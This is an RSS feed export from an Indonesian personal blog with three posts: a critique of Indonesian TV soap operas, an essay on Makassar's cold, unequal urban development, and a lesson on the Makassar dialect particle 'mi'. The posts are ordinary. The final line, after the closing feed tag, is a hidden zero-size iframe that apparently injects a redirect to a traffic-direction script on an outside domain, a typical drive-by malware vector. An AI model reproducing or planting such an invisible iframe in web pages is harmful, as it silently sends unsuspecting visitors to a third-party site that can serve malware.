<p>Selama bertahun-tahun jadi salah seorang warga Indonesia yang punya televisi, saya hanya sedikit menemukan tayangan sinetron yang bolehlah masuk kategori berkualitas. Selebihnya hanyalah sinetron yang mampu membuat saya tertawa dan kemudian mual karena? absurditasnya.</p>
<p>Sekitar periode 90an ada beberapa sinetron yang lumayan berkualitas menurut saya. Sebut saja sinetron : Siti Nurbaya atau Sengsara Membawa Nikmat. Dua sinetron yang diangkat dari novel berlatar budaya Minangkabau dan ditayangkan oleh TVRI.</p>
<p>TVRI juga pernah menayangkan sinetron-sintetron berkualitas lainnya seperti Rumah Masa Depan atau Aku Cinta Indonesia, dua sinetron favorit saya di masa kecil.</p>
<p>Kemudian ketika stasiun televisi swasta mulai bermunculan, TVRI mulai terasa sangat ketinggalan jaman. Perlahan, acara yang dulu bernama Drama disadur oleh televisi swasta dan diubah namanya menjadi Sinema Elektronika atau Sinetron.</p>
<p>RCTI sebagai stasiun televisi tertua pernah punya sinetron yang juga bisa dibilang berkualitas, Si Doel Anak Sekolahan. Sinetron yang sekarang rajin ditayangkan ulang setiap pagi ini menurut saya sangat lumayan dari jalinan cerita, konflik hingga akting dan aksentuasi pendukungnya.</p>
<p>Konfliknya membumi, begitu juga dengan akting para pemainnya yang kemudian menjulangkan sejumlah nama seperti Mandra, Basuki atau Maudy Koesadi. Tapi, semua memang harus ada akhirnya. Menjelang akhir 90an, popularitas si Doel mulai menurun dan perlahan ditinggalkan penggemarnya.</p>
<p>Selepas itu, makin sulit menemukan sinetron yang bagus. Lupakan kata berkualitas, menemukan yang baikpun susah.</p>
<p>Periode tahun 2000an ada angin segar di dunia sinetron tanah air. Stasiun televisi Trans TV menayangkan Bajaj Bajuri. Sebuah sinetron yang mengangkat tema keseharian seorang supir bajaj dengan istrinya yang oon dan mertuanya yang galak dan mata duitan.</p>
<p>Saya suka Bajaj Bajuri. Jalinan ceritanya meski kadang mengada-ada tapi terkesan jenaka. Akting para pemainnya natural dan tidak berlebihan. Karakter-karakternya juga kuat. Cacat satu dua memang ada, tapi dapat tertutupi oleh keseluruhan rangkaian cerita yang segar dan menghibur.</p>
<p>Tapi sekali lagi, semua ada akhirnya.</p>
<p>Bajaj Bajuri menghilang dari layar kaca dan coba digantikan oleh beberapa sinetron bergenre sama, tapi tidak ada satupun yang bisa menyamai popularitas Bajaj Bajuri. Perlahan-lahan genre sinetron komedi atau Sitkom mulai menghilang,</p>
<p>Entah karena kurang kreatif atau malas, para pekerja seni peran di televisi Indonesia seperti selalu ikut-ikutan. Satu tema sedang ngetrend, yang lain kemudian membuat tema yang sama. Ketika tema mistis dan hantu sedang marak, hampir semua sinetron memuat tema yang sama. Bahkan sebuah sinetron yang tadinya bercerita tentang kehidupan muda-mudi tiba-tiba memunculkan hantu yang entah datangnya dari mana.</p>
<p>Hampir tidak ada perkembangan yang bagus dari sinetron di negeri kita. Dari sejak tahun kapan, sinetron kita tetap seperti itu. Jalinan ceritanya absurd, ditambah-tambahkan biar durasinya panjang, tokoh yang jahat sejahat-jahatnya serta tokoh yang baik, lugu dan hanya bisa pasrah tapi akan keluar sebagai pemenang di akhir cerita.</p>
<p>Lihat juga akting para pemain sinetron itu. Akting mereka pas-pasan dengan rumus yang sama. Mata melotot melambangkan rasa marah, senyum menyeringai melambangkan ide busuk atau wajah memelas melambangkan ketertindasan. Parahnya lagi, semua ketidakberesan itu dilengkapi dengan suara musik yang mengganggu. Mungkin maksudnya ingin member nuansa sesuai apa yang terjadi, tapi bagi saya justru terasa sangat mengganggu di telinga.</p>
<p>Suka atau tidak suka, itulah gambaran sinetron tanah air kita. Acara yang jualannya lebih banyak berkutat pada cerita yang absurd, akting pas-pasan dan musik yang mengganggu. Entah sampai kapan, mungkin sampai masyarakat kita benar-benar bisa memilih dan memilah mana tayangan yang bagus.</p>
<p>Tapi, sampai kapan ? Entahlah..</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/" title="sinetron indonesia tidak berkualitas">sinetron indonesia tidak berkualitas</a> (13)</li><li><a href="http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/" title="sinetron aku ingin pulang">sinetron aku ingin pulang</a> (9)</li><li><a href="http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/" title="sinetron indonesia">sinetron indonesia</a> (8)</li><li><a href="http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/" title="melotot">melotot</a> (5)</li><li><a href="http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/" title="nama pemeran wanita sinetron">nama pemeran wanita sinetron</a> (3)</li></ul><div class="shr-publisher-1969"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F10%2Fsinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Kota Yang Makin Dingin Dan Sombong [Repost]</title>
		<link>http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/</link>
		<comments>http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/#comments</comments>
		<pubDate>Wed, 18 May 2011 08:12:56 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Kota]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Modernisasi]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1457</guid>
		<description><![CDATA[Ini adalah postingan lama, Januari 2008. Tapi entah kenapa realitasnya masih sama dan saya merasa perlu untuk mempostingnya kembali. Tentang kota yang semakin tidak manusiawi. Siang itu panas, suatu hari di bulan Januari. Tidak seperti biasanya, siang itu matahari sedang bersahabat. Hujan seakan sedang berhenti sejenak, mengambil ancang-ancang sebelum nantinya datang lagi mengguyur setiap inci [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1458" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/Makassar6.jpg"><img class="size-full wp-image-1458" title="Makassar6" src="http://daenggassing.com/wp-content/uploads/2011/05/Makassar6.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Makassar</p></div>
<h2><em>Ini adalah postingan lama, Januari 2008. Tapi entah kenapa realitasnya masih sama dan saya merasa perlu untuk mempostingnya kembali. Tentang kota yang semakin tidak manusiawi.</em></h2>
<p><strong>Siang itu panas, suatu hari di bulan Januari.</strong> Tidak seperti biasanya, siang itu matahari sedang bersahabat. Hujan seakan sedang berhenti sejenak, mengambil ancang-ancang sebelum nantinya datang lagi mengguyur setiap inci kotaku. Dari sebuah tempat makan di sebuah mall terbesar di Makassar, saya bersama dua belahan jiwa sedang duduk menantikan pesanan. Di sisiku, bocah kecil yang belum genap 4 tahun itu mengoceh riang, tak henti-hentinya dia bercerita tentang pakaian dan mainan yang baru saja kami hadiahkan untuknya.</p>
<p>Saya masih menikmati celotehannya ketika <a href="http://ofie3.blogspot.com/">Ofie</a> menunjuk ke bawah sana, ke arah pinggir jalan besar tepat di depan mall. Kusapukan pandanganku ke arah telunjuk wanitaku. Empat orang anak sedang tertawa riang di bawah sana. Besarnya mungkin tak lebih dari ukuran anak-anak umur 9 tahun. Di masing-masing bahu mereka tersampir karung goni, sementara di tangan yang lain sepotong besi berbentuk pengait nampak tergenggam erat. <strong>Tubuh mereka kumal, selaras dengan pakaian yang sudah nyaris tak terbentuk, lebih mirip kain lap di dapur kita.</strong></p>
<p><strong>Anak-anak itu tampak riang dalam kemarjinalan mereka</strong>. Tertawa dan saling berkejaran lalu berhenti di sebuah bak sampah besar. Berikutnya mereka sibuk mengaduk bak sampah dengan kait dari besi, saling berlomba selayaknya kucing yang berebut makanan sisa. Satu-dua benda yang tak kutahu benda apa mereka lemparkan ke dalam karung putih yang sama kumalnya dengan tubuh mereka. Setelah puas mereka kembali berlalu sambil tetap tertawa dan saling menggoda.</p>
<p>&#8221; Kasihan . Pernah nggak ya mereka sedih..? &#8220;, pertanyaan itu keluar dari bibir istriku. Bisa kurasakan kegetiran di nada bicaranya. Saya diam tak menjawabnya, mataku masih lekat mengawasi keempat bocah kumal itu yang terus tertawa dan akhirnya hilang dari pandangan. Saya sendiri memang tak tahu jawaban yang pasti dari pertanyaan istriku. Entah apakah anak-anak itu pernah berhenti sejenak dari kesusahan mereka dan memikirkan begitu banyak alasan untuk bersedih. Hatiku mendadak miris membayangkannya.</p>
<p>Diam sejenak, kami tak berbicara sepotongpun. Kami sibuk dalam alam pikiran masing-masing. Hanya gadis kecil kami yang masih sibuk bercerita tentang pakaian dan mainan barunya. Saat makanan pesanan kami datang, rasa miris di hati kami mendadak menguap. Bayangan empat anak kecil kumal tadi juga mendadak lenyap. Yang tersisa hanya nafsu untuk sesegera mungkin menyudahi nasib makanan yang sudah kami pesan. Lahap dan penuh semangat, itulah kami. Kami akhirnya kemudian hanya memikirkan perut kami yang sudah terlanjur kosong. Padahal di luar sana empat anak kumal tadi entah apa sudah makan hari ini..</p>
<p><strong> </strong><strong>Mungkin inilah sifat yang dimiliki pejabat kita.</strong> Pedih sesaat kala melihat rakyat yang seharusnya dia perjuangkan sedang terseok-seok di pinggir jalan hanya untuk sekadar menyambung hidup hari ini, namun detik kemudian tiba-tiba berubah selayaknya monster yang sedang haus dan lapar. Menerjang semua yang ada di depannya. Tak peduli itu bukan haknya, tak peduli itu hanya untuk dirinya dan orang-orang di lingkarannya. Pejabat yang mengatur kota dan kota yang diatur oleh pejabat itu tiba-tiba menjadi sangat kejam pada semua warganya.</p>
<p><strong> </strong><strong>Tahun lalu </strong><strong>(2007) </strong><strong>Makassar sedang riuh, berdandan menor untuk ulang tahunnya yang ke-400 tahun</strong>. Segala gincu, bedak, <em>eye shadow</em> dan segala macam produk artifisial kecantikan dijejalkan ke wajah kota yang sebenarnya sudah mulai bopeng dan keriput ini. Label modernisasi yang berkilauan bak topeng para penari yang menutupi wajah asli kota ini. Lihatlah limpahan dana bernilai ratusan miliar yang diguyurkan para pengusaha berkantong tebal di atas tanah kota Makassar.</p>
<p>Saya yakin, di salah satu sudut kantor pemerintahan kota ini, banyak orang-orang berseragam khaki sedang berjoget riang menyambut guyuran modal besar itu. Mereka pasti sedang kuyup oleh duit dan segala materi duniawi. Entah apa mereka masih punya waktu barang sedetik untuk menoleh ke bak sampah besar di depan kantor mereka dan menyapa saudara-saudara kita yang masih betah berpakaian kumal nan lecek.</p>
<p><strong> </strong></p>
<p><strong></p>
<div id="attachment_1460" class="wp-caption alignleft" style="width: 202px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/pemulung.jpg"><img class="size-medium wp-image-1460" title="pemulung" src="http://daenggassing.com/wp-content/uploads/2011/05/pemulung-192x300.jpg" alt="" width="192" height="300" /></a><p class="wp-caption-text">Seorang pemulung ( courtesy : Ahmade.com )</p></div>
<p></strong></p>
<p><strong>Bangunan tinggi dengan lantainya yang lebih banyak dari deretan tangga nada dielus-elus agar tegak berdiri.</strong> Jalanan bertingkat-tingkat yang ditopang beton yang kuat mulai ditopang agar bisa berdiri dan dipakai. Rawa-rawa air payau yang dulunya untuk dipakai sebagai tempat hidup berbagai ekosistem alamiah mulai ditimbun untuk sebuah arena bermain yang tentu saja tak murah. Lapangan luas tempat warga berkumpul dan bercengkerama mulai dipagari seng dan sebentar lagi ditutup beton sebagian. <strong>Adakah tempat bagi saudara-saudara kita yang masih betah mengorek bak sampah yang sering kita tempati meludah itu ?</strong>. Nyaris tak ada kukira..</p>
<p>Beton, beton, beton lagi, besi baja dan beton lagi. Tak ada yang manusiawi. Semua bentuknya kokoh, dingin, kasar, tak ramah dan pongah dalam balutan duniawi yang mengkilap. Tak ada ruang bagi yang berbaju kumal di sana. Berani mendekat dan seorang lelaki berseragam dengan kumis melintang dan badan kekar akan menendang pantatmu jauh-jauh. Tak ada ruang bagi kalian yang kumal, mungkin begitu sumpah serapah mereka.</p>
<p>Sementara itu jalan raya beralaskan aspal hitam itu juga ikut-ikutan menjadi makin tidak ramah pada kita pemakainya. Jari-jari di kedua tangan kita serasa tak cukup lagi menampung nama-nama ruas jalan yang pasti macet setiap harinya. Motor makin merajai setiap senti jalanan kita. Sopir-sopir dan para pengendara makin beringas di atas aspal yang kadang tergenang air kala hujan turun. Tak ada tenggang rasa, tak ada sifat mengalah. Jalanan bukan untuk para pecundang dan pengecut. Jalanan adalah <em>metamorfosis</em> rimba raya yang memberlakukan hukum rimba. Yang kuatlah yang menang. Anda takut berebut jalan dengan yang lain ?, pinggirkan kendaraan anda dan tunggulah hingga malam makin pekat agar anda bisa menguasai jalan sendirian. <strong>Karena jalan raya bukan tempat buat para pecundang dan pengecut.</strong><strong> </strong></p>
<p><strong> </strong><strong> </strong></p>
<div id="attachment_1459" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/Mall.jpg"><img class="size-medium wp-image-1459" title="Mall" src="http://daenggassing.com/wp-content/uploads/2011/05/Mall-300x199.jpg" alt="" width="300" height="199" /></a><p class="wp-caption-text">Salah satu mall di Makassar</p></div>
<p></strong></p>
<p><strong>Anak-anak kita tak punya tempat bermain selain ke Mall.</strong> Setiap hari libur hanya ada satu kata di bibir mereka. Ibarat robot yang telah terprogram. Setiap libur hanya mall dan mall yang mereka tuju. Mereka merengek minta diantar ke mall. Mereka merengek minta diajak bermain ke mall, mereka merengek bahkan untuk hanya sekedar jalan-jalan dan membuat otot kaki kita kaku kecapean.</p>
<p>Dan lantai-lantai mall yang dingin itu akan menjadi guru terbaik bagi mereka untuk makin mengentalkan faham konsumerisme dan kapitalisme pada otak anak-anak kita. Dinding mall yang berwarna warni kadang terbuat dari kaca bening yang tebal dan tinggi itu mengajarkan sesuatu kepada anak-anak kita. Saya takut kalau yang mereka ajarkan itu adalah kerakusan, egoisme dan individualisme. Dan mall itu makin dingin,angkuh dan tidak manusiawi lagi. Parasnya yang elok seakan mencibir pada gerombolan anak-anak berpakaian kumal yang mengaduk-aduk bak sampah dan menawarkan payung kala hujan turun di seputaran mall. Tapi anak-anak kita menikmatinya..</p>
<p><strong>Hampir tak ada ruang luas yang murah bahkan gratis untuk mereka bermain.</strong> Hampir tak ada ruang yang luas yang memungkinkan mereka untuk berbagi dengan temannya yang lain,untuk belajar mengalah dan belajar menghargai perbedaan. Hampir tak ada ruang yang luas dengan rumput dan pohonnya yang hijau tempat untuk kami para orang tua yang sedang menunggui anaknya bermain untuk duduk santai di atas rumput dan menggunjingkan kelakuan pejabat yang makin binal dari hari ke hari. <strong>Tak ada ruang luas yang hijau dan teduh untuk kami mempelajari demokrasi yang murah atau malah gratis. </strong><strong> </strong></p>
<div id="attachment_1461" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/TPA.jpg"><img class="size-medium wp-image-1461" title="TPA" src="http://daenggassing.com/wp-content/uploads/2011/05/TPA-300x214.jpg" alt="" width="300" height="214" /></a><p class="wp-caption-text">TPA-Biring Romang ( courtesy ; Ahmade.com )</p></div>
<p>Sementara itu di berbagai sudut kotaku, ibu-ibu masih sibuk menenteng jerigen-jerigen kosong berbaris dengan tak sabar di sebelah sebuah mobil tangki. Anak-anak kecil menangis bosan di gendongan ibu mereka. Wajah kusut para ibu adalah wajah murung kota kita. Di sudut lainnya, ibu yang lain kebingungan mencari sebuah tabung baja berwarna biru untuk masak siang ini. Warung terdekat memasang harga yang sangat jauh di luar batas kewarasan. Pemilik warung menjadi sangat sombong, lebih sombong dari artis yang dimintai tandatangan oleh para penggemarnya. <strong>Tanpa sadar dia telah mencontoh pejabat yang dulu mungkin pernah dibencinya.</strong><strong> </strong></p>
<p>Kalender baru saja diganti, tapi saya sudah tahu apa yang saya harapkan dari kota ini. Bukan poster besar dan spanduk lebar bergambar senyum sang walikota yang kami mau. Bukan kata-kata, ? masih Walikota kami yang terbaik ?, yang ingin kami dengar. Sudahlah, kami sudah bosan dengan senyum, janji dan manisnya bibir itu. Kami hanya ingin Makassar lebih manusiawi, agar saudara-saudara kita bisa merasakan dirinya sebagai manusia, sama seperti kita. Bukan hanya sebagai sampah yang hanya layak mengaduk-aduk bak sampah. Saya, kamu dan kita semua hanya ingin Makassar lebih manusiawi. Karena sesungguhnya kita cinta kota ini.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/" title="mall di makassar">mall di makassar</a> (5)</li><li><a href="http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/" title="Pemulung">Pemulung</a> (5)</li><li><a href="http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/" title="TPA Kota Semarang kurang layak">TPA Kota Semarang kurang layak</a> (3)</li><li><a href="http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/" title="mall terbesar di makassar">mall terbesar di makassar</a> (2)</li><li><a href="http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/" title="TPA Rawa Kucing">TPA Rawa Kucing</a> (2)</li></ul><div class="shr-publisher-1457"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F05%2Fkota-yang-makin-dingin-dan-sombong-repost%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/05/kota-yang-makin-dingin-dan-sombong-repost/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Auch, Susahnya Belajar Logat Makassar [1]</title>
		<link>http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/</link>
		<comments>http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 04:55:27 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Budaya]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[bahasa]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1386</guid>
		<description><![CDATA[Sebenarnya saya pernah menulis postingan yang sama di sini, tapi saya merasa tertarik memperbaiki tulisan tersebut agar lebih gampang dicerna. Kerepotan terbesar bagi para pendatang ( utamanya dari Jawa ) saat tiba di Makassar dan sekitarnya adalah pada bahasa. Di kota Makassar, sebagian besar penduduknya menggunakan bahasa Indonesia dengan logat khas. Dan di logat itu [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1387" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/04/Lae-Lae.jpg"><img class="size-full wp-image-1387" title="Lae Lae" src="http://daenggassing.com/wp-content/uploads/2011/04/Lae-Lae.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pulau Lae-Lae di sebelah luar pantai Losari</p></div>
<h2><em>Sebenarnya saya pernah menulis postingan yang sama <a href="../../../../../makan-mi/">di sini</a>, tapi saya merasa tertarik memperbaiki tulisan tersebut agar lebih gampang dicerna.</em></h2>
<p>Kerepotan terbesar bagi para pendatang ( utamanya dari Jawa ) saat tiba di Makassar dan sekitarnya adalah pada bahasa. Di kota Makassar, sebagian besar penduduknya menggunakan bahasa Indonesia dengan logat khas. Dan di logat itu terdapat beberapa partikel khas yang bila tidak dicerna dengan baik bisa menimbulkan kebingungan bahkan salah sambung.</p>
<p>Beberapa partikel dalam kalimat tersebut adalah : <strong>MI, PI, JI</strong> dan <strong>KI</strong>. Khusus untuk postingan ini saya mau coba memaparkan lebih jauh tentang partikel <strong>MI</strong> dan cara penempatannya karena partikel ini biasanya yang paling sering digunakan dan paling sering membingungkan.</p>
<p><span id="more-1386"></span>Contoh kalimatnya begini :</p>
<blockquote><p>1. Itu ada kue di meja, makan mi</p>
<p>2. Bagaimana anakmu, besar mi ?</p></blockquote>
<p>Kedua kalimat di atas sama-sama menggunakan partikel <strong>MI</strong> meski artinya berbeda. Saya akan coba jelaskan dengan bahasa yang sederhana karena sebenarnya saya juga tidak terlalu mengerti tentang teori-teori bahasa. Mudah-mudahan bisa dimengerti.</p>
<p>Pada kalimat pertama, partikel <strong>MI</strong> ditaruh di belakang kata kerja makan. Partikel ini kemudian membuat kalimat tersebut sebagai kalimat mempersilakan atau kasarnya, menyuruh. Jadi kalimat di atas maknanya sama dengan : <strong>Di meja itu ada kue, silakan dimakan</strong>.</p>
<p>Sementara itu pada kalimat kedua, partikel <strong>MI</strong> ditaruh di belakang kata sifat dan berada dalam sebuah kalimat tanya. Di sini partikel <strong>MI</strong> mempersingkat kalimat tanya tersebut. Aslinya kalimat nomor dua itu berbunyi : <strong>Bagaimana anakmu, apa sudah besar ?</strong></p>
<p>Nah, dengan penggunaan partikel <strong>MI</strong> maka kalimat itu kemudian dipersingkat seperti di atas. Partikel <strong>MI</strong> menjadikan kata sifat besar menjadi sebuah pertanyaan, sudah besar apa belum ?</p>
<p>Dua kalimat di atas mungkin masih gampang dicerna karena toh masih menggunakan bahasa Indonesia yang benar strukturnyapun masih relatif baku. Bandingkan dengan kalimat di bawah ini :</p>
<blockquote><p>A. Makan mi itu kue di meja</p>
<p>B. Bagaimana mi anak mu ? besar mi ?</p></blockquote>
<p>Kalimat A artinya sama dengan kalimat nomor 1 sebelumnya, bedanya hanya pada strukturnya saja. Kalau kalimat nomor 1 relatif masih bisa dicerna karena strukturnya masih lumayan baku, tapi pada kalimat A strukturnya jelas sudah kacau dan benar-benar sudah produk asli Makassar. Anda yang belum terbiasa dengan logat Makassar mungkin akan sedikit bingung. Dan itu hal yang biasa koq.</p>
<p>Sementara itu kalimat B artinya sama dengan kalimat pada nomor 2 di atas. Bedanya, pada kalimat B meski strukturnya masih lumayan rapih, penggunaan partikel <strong>MI</strong>-nya ada dua. Ini sekedar untuk mempertegas kalimat tanya.</p>
<p>Kadang saya juga agak bingung ketika ada teman pendatang yang bertanya banyak soal penggunaan partikel <strong>MI</strong> ini, belum lagi partikel-partikel lain yang saya sebut di atas. Kami tahu cara memakainya berdasarkan insting, tapi untuk menerangkannya secara ilmiah kadang jadikesulitan sendiri.</p>
<p>Makanya tidak heran kalau logat SulSel itu agak repot untuk digunakan oleh para pendatang. Butuh waktu yang lama dan proses yang panjang sebelum penggunaan partikel tersebut bisa diletakkan pada tempatnya. Itu baru penggunaan partikel, belum kata-kata khusus yang dimodifikasi sesuai kebiasaan orang SulSel.</p>
<p><strong><em>Ah, sudah mi deh. Lain kali pi lagi saya jelaskan ki tentang partikel-partikel yang lain. Itu mo dulu.</em></strong></p>
<p>Hahaha, mudeng nggak sih ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/" title="belajar bahasa makassar">belajar bahasa makassar</a> (67)</li><li><a href="http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/" title="logat makassar">logat makassar</a> (23)</li><li><a href="http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/" title="belajar bahasa makasar">belajar bahasa makasar</a> (12)</li><li><a href="http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/" title="belajar logat makassar">belajar logat makassar</a> (11)</li><li><a href="http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/" title="kalimat bahasa makassar">kalimat bahasa makassar</a> (4)</li></ul><div class="shr-publisher-1386"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F04%2Fsusahnya-belajar-logat-makassar-1%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/04/susahnya-belajar-logat-makassar-1/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
